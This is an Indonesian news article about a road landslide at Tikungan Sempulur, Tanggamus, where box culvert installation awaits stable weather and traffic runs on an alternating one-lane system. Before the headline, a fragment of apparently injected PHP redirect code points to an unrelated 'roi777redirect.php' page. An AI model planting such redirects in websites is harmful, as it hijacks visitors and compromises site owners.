header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Pemasangan Box Culvert Tunggu Cuaca Stabil, Arus Lalin masih Buka-Tutup -
Pemasangan Box Culvert Tunggu Cuaca Stabil, Arus Lalin masih Buka-Tutup
HATI-HATI! Beginilah kondisi Jalinbar ruas Tikungan Sempulur Kecamatan Gisting pascalongsor, para pengguna jalan diminta untuk ekstra hati-hati dan mematuhi sistem buka-tutup arus lalu lintas yang masih terus diberlakukan sampai waktu yang belum ditentukan. (Foto-foto: AYP)

TRANSLAMPUNG.COM, TANGGAMUS – Hingga Sabtu (7/4) sore, kondisi Jalan Lintas Barat Tikungan Sempulur Kecamatan Gisting, Kabupaten Tanggamus, masih perlu diwaspadai para pengguna jalan. Pasalnya pascalongsor, gorong-gorong jenis box culvert yang sudah berada di tepi jalan menikung dan miring tersebut, belum terpasang. Karena pihak rekanan masih menyiapkan bidang pemasangan dan menunggu cuaca stabil.

Sekitar enam buah box culvert beton tampak terjajar di sekitar lokasi Jalinbar Tikungan Sempulur Gisting. Gorong-gorong berdimensi sekitar 1,3 x 1 meter itu, dijadikan solusi terbaik untuk mengatasi luapan air yang memintas badan Jalinbar dari sisi utara ke sisi selatan. Terparah, luapan air lantaran tidak berfungsinya gorong-gorong lama, mengakibatkan longsornya badan Jalinbar sisi selatan.

PPK 06 Sanggin Wolter Monginsidi Bandarlampung, Fathur menjelaskan, pemasangan box culvert tersebut tujuannya untuk memberikan jalan air dari sisi utara jalan ke sisi selatan.

“Permasalahannya di sini hanya air tidak bisa lewat dan akhirnya meluap, untuk langkah sementara ini akan coba dengan box culvert,” ujarnya pada translampung.com, Sabtu (7/4).

Ia mengaku selama ini memang sudah rencanakan hal itu. Tujuannya untuk menggantikan gorong-gorong lama yang sudah tertutup tanah. Namun teknisnya tidak mudah karena kondisi jalan yang miring dan curah hujan tinggi saat ini. Di tambah sisi jalan selatan langsung jurang.

“Kondisi tanah sekarang ini sudah jenuh air. Maka rawan longsor, maka kami harus tentukan dulu beronjong penahan untuk sementara. Itu untuk menjaga jalan dan tanah tidak longsor. Sebab tanah di sini miring,” ungkap Fathur.

Ia mengaku, idealnya pemasangan boxculvert di lokasi yang tanahnya miring adalah saat musim kemarau. Saat itu kondisi tanah keras. Maka lebih aman untuk tidak longsor.

“Makanya kami akan pasang itu kemarau nanti, sehingga penanganan sebelumnya hanya pakai karung dan pasir untuk penahan sementara jalan,” jelas Fathur.

Sedangkan waktu estimasi perbaikan jalan, dia menambahkan, belum bisa ditentukan berapa lama. Sebab masih harus menunggu survei tim konsultan. Kemudian menunggu kesiapan dananya. Jika dalam waktu dekat berjalan, maka akan gunakan dana sisa lelang pekerja di Sanggin Wolter Monginsidi, Bandarlampung.

Dari pantauan langsung translampung.com di lokasi sore ini, meskipun tinggal separuh badan jalan yang aman dilalui tepat di tikungan, namun arus lalu lintas sudah terurai. Walaupun perlahan dan harus berhati-hati, pengendara tetap bisa melintasi lokasi.

Kapolres Tanggamus AKBP I Made Rasma Jemy Karang, melalui Kasat Lantas AKP Sofyan mengatakan, pihaknya dibantu personel Dinas Perhubungan Kabupaten Tanggamus serta warga sekitar lokasi, memberlakukan sistem buka-tutup tepat di Tikungan Sempulur.

“Dengan sistem (buka-tutup) itu, arus lalu lintas bisa tetap bergerak. Tidak sama sekali lumpuh. Untuk mengatur arus lalu lintas, kami dibantu petugas dari Dishub Tanggamus dan malam harinya pengaturan dibantu oleh warga sekitar lokasi yang secara bahu-membahu mengatur arus lalu lintas. Kami imbau para pengendara sangat berhati-hati saat melintasi Tikungan Sempulur,” tandas Sofyan. (ayp)

News Reporter